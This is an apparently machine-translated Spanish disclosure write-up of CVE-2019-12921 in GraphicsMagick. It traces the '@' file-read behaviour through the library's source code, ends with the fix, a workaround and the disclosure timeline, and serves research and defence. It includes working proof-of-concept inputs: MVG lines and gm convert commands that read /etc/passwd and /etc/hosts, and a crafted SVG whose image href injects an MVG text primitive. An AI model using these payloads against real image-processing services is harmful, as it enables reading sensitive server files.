En 2016, la vulnerabilidad ImageTragick en ImageMagick hizo mucho ruido. Como una forma de reducir el riesgo, se propuso utilizar GraphicsMagick , una bifurcación de la biblioteca ImageMagick, dirigida a una API más estable y productiva. La vulnerabilidad original CVE-2016-3717, descubierta por stewie , permitió a un atacante leer un archivo arbitrario en el sistema de archivos utilizando una imagen especialmente diseñada. Hoy consideraré una vulnerabilidad similar en GraphicsMagick que descubrí al analizar el código fuente de la biblioteca.
El exploit original a través de la 'etiqueta' del pseudo- protocolo del sitio ImageTragick no funcionará.
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context

La razón es que el algoritmo de procesamiento de imágenes ImagePrimitive del archivo render.c ReadImage no puede procesar la cadena de etiqueta: @ / etc / passwd como una imagen y devolverá un error No se puede abrir el archivo. Código de función:
#define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0) if (!VALID_PREFIX("http://", primitive_info->text) && !VALID_PREFIX("https://", primitive_info->text) && !VALID_PREFIX("ftp://", primitive_info->text) && !(IsAccessibleNoLogging(primitive_info->text)) ) { ThrowException(&image->exception,FileOpenError,UnableToOpenFile,primitive_info->text); status=MagickFail; }
Sin embargo, la capacidad de leer cualquier imagen en el sistema de archivos permanece, pero solo se puede usar para recopilar información interna. Un ejemplo del funcionamiento de esta "característica" se puede encontrar en los informes de los programas BugBounty, por ejemplo aquí .
Esto me llevó a estudiar en detalle la implementación del códec Label en GraphicsMagick. Para hacer esto, realizamos la conversión:
$ gm convert label:@etc/passwd output.png
La biblioteca devuelve la primera línea del archivo / etc / passwd, lo que significa que el pseudo-protocolo sigue siendo vulnerable, pero en la mayoría de los casos no es adecuado para un atacante, ya que no hay posibilidad de afectar la línea de comando. Para entender cómo puede explotar esta "característica", veamos las razones. El pseudo-protocolo de etiqueta convierte una cadena usando la función TranslateTextEx:
text=(char *) formatted_text; if ((*text == '@') && IsAccessible(text+1)) { text=(char *) FileToBlob(text+1,&length,&image->exception); if (text == (char *) NULL) return((char *) NULL); }
La función acepta el parámetro de entrada formatted_text y si la línea comienza con el carácter especial '@', GM percibe la línea adicional como la ruta completa al archivo desde el que es necesario leer el contenido para la transformación. Veamos otros lugares donde se usa esta función, que puede ser explotada por un atacante.
- /coders/msl.c es una pluralidad de ocurrencias, pero GM usa este lenguaje como un lenguaje de script para el comando conjure y no será discutido en este artículo. La operación es posible, pero requerirá una lógica de aplicación específica
/magick/attribute.c manejando atributos de imagen. Se llama a la función TranslateText para los atributos de comentario y etiqueta cuando el usuario los pasa directamente, en lugar de almacenarse en la imagen misma. El desarrollador nos dejó un pequeño consejo:
Translate format requests in attribute text when the blob is not open. This is really gross since it is assumed that the attribute is supplied by the user and the user intends for translation to occur. However, 'comment' and 'label' attributes may also come from an image file and may contain arbitrary text. As a crude-workaround, translations are only performed when the blob is not open.
Pero, ¿qué sucede si el procesamiento por la función SetImageAttribute de la imagen se realiza después de que tog as, blob esté cerrado? Resulta que existe un códec de este tipo: SVG. La cadena de llamadas a la función ReadSVGImage es la siguiente:
- El analizador XML se cierra
- CloseBlob (imagen) cierra blob
- El delegado de MVG realiza la conversión
- SetImageAttribute (imagen, "comentario", svg_info.comment) los atributos de comentario y título se escribirán en la imagen.
Para una explotación exitosa, un atacante necesita el formato final para admitir estos atributos, por ejemplo GIF, JPEG.
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/> </svg>
$ gm convert exploit.svg output.gif $ gm convert exploit.svg output.jpeg

- /magick/annotate.c la siguiente es una buena opción para explotar la función AnnotateImage, que se utiliza:
- /coders/txt.c es similar al protocolo TXT del pseudo-protocolo Lablel: que no es de particular interés, ya que su funcionamiento requiere acceso a la línea de comando.
- /magick/render.c Y aquí llegamos a nuestro exploit final para la primitiva Texto Magick Vector Graphics , que tiene una sintaxis bastante simple:
text "text"
La operación exitosa es posible si la línea comienza con el carácter especial '@'.
$ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png
Este método es extremadamente raro en una aplicación real, pero hay una manera de aprovechar esta vulnerabilidad utilizando delegados. El delegado es un procesador de imagen externo cuyo formato no es compatible con la biblioteca. Hay varios códecs que se convierten en un archivo temporal y el pseudo-protocolo MVG realiza un procesamiento adicional. Como se señaló anteriormente, este códec es SVG.
Operación CVE-2019-12921
La imagen SVG de XML Parser convierte el marcado a un archivo intermedio:
FormatString(clone_info->filename,”mvg:%.1024s",filename);
La conversión de la etiqueta img tiene el siguiente código:
case 'i': { if (LocaleCompare((char *) name,"image") == 0) { MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'\n", svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width, svg_info->bounds.height,svg_info->url); MVGPrintf(svg_info->file,"pop graphic-context\n"); break; } break; }
Para la explotación, necesitamos romper el contexto de la cadena con las comillas habituales y agregar nuestro exploit:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="720px" height="720px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/> </svg>
$ gm convert exploit.svg output.png
La operación para otros códecs que usan delegado MVG será a discreción del lector.
Protección
Una versión actualizada de GM está disponible en el sitio web del fabricante. Fix elimina la compatibilidad de archivos usando el símbolo especial @ en este momento, Mercurial changesets 16037: f780c290b4ab y 16038: 44e3d0e872eb para la función TranslateTextEx. Según los desarrolladores, en el futuro, esta lógica se devolverá en una implementación más segura. Como solución alternativa, aconseja utilizar la variable de entorno MAGICK_CODER_STABILITY = PRIMARY
Cronograma
La información sobre la vulnerabilidad se transfirió al desarrollador el 6 de junio de 2019, se lanzó una revisión más tarde ese día. El 15 de junio de 2019, se publicó una carta informativa en www.openwall.com . El 20 de junio de 2019, CVE-2019-12921 fue asignado a este problema.